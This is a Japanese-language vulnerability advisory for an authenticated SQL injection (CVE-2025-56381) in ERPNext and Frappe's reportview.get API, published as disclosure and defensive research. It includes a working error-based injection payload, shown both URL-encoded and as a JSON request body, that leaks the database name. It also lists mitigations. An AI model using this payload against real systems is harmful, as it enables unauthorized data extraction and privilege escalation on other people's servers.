
ERPNEXT v15.67.0には、/api/method/frappe.desk.reportview.getエンドポイントのorder_byパラメータとgroup_byパラメータを介して、複数のSQLインジェクション脆弱性が存在することが判明しました。
order_by および group_by パラメータにおける認証済みSQLインジェクション📌 概要
ERPNext v15.67.0 および Frappe Framework v15.72.4 には、frappe.desk.reportview.get API エンドポイントに複数の認証済みSQLインジェクションの脆弱性が存在します。order_by または group_by パラメータへの悪意のある入力により、任意のSQL文を注入・実行することが可能です。これにより、認証済みユーザー(レポートへの基本的なアクセス権を持つユーザー)が機密データを抽出し、データベースの列挙を行い、システム内で権限を操作または昇格させる可能性があります。
脆弱性の種類: SQLインジェクション (CWE-89)
影響を受ける製品: ERPNext / Frappe
影響を受けるバージョン:
影響を受けるエンドポイント:
POST /api/method/frappe.desk.reportview.get
脆弱なパラメータ:
order_bygroup_by必要な認証: あり(sid クッキーによる有効なセッション)
攻撃タイプ: リモート
深刻度: 高(SQLコード実行、データ流出、権限昇格の可能性)
推定CVSS v3.1スコア: 8.6(高) — 推定値です。最終的なスコアは公式のCVE機関によって割り当てられるべきです。
ステータス: 未修正(開示時点)
CVE ID: CVE-2025-56381
✅ テストは、所有しているシステム、または明示的な許可を得たシステムに対してのみ行ってください。同意なしに本番システムに対して使用しないでください。
%28select%20updatexml%28null%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2Cnull%29%29
{
"doctype": "User",
"order_by": "(select updatexml(null,concat(0x7e,database(),0x7e),null))"
}
これにより、SQLインジェクションが正常に実行され、現在のデータベース名が漏洩したことが確認されます。
order_by または group_by ペイロードを含む巧妙に細工されたPOSTリクエストが /api/method/frappe.desk.reportview.get に送信されます。order_by および group_by を許可された列名の既知の許可リストに対して検証してください。/reportview.get APIおよびレポート機能へのアクセスを制限してください。frappe.desk メソッドを監査する必要があります。運用者は、パッチが利用可能になり次第、アップグレードする必要があります。発見者: Mohammed Aloli
Frappe Framework: https://github.com/frappe/frappe
ERPNext Project: https://github.com/frappe/erpnext
OWASP SQLインジェクション防止チートシート: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
このアドバイザリは、教育および防御的なセキュリティ研究のみを目的として公開されています。許可なくこの脆弱性を悪用することは違法かつ非倫理的です。ERPNextまたはFrappeの開発者または管理者である場合は、推奨される緩和策を直ちに適用し、異常なAPI使用状況を監視してください。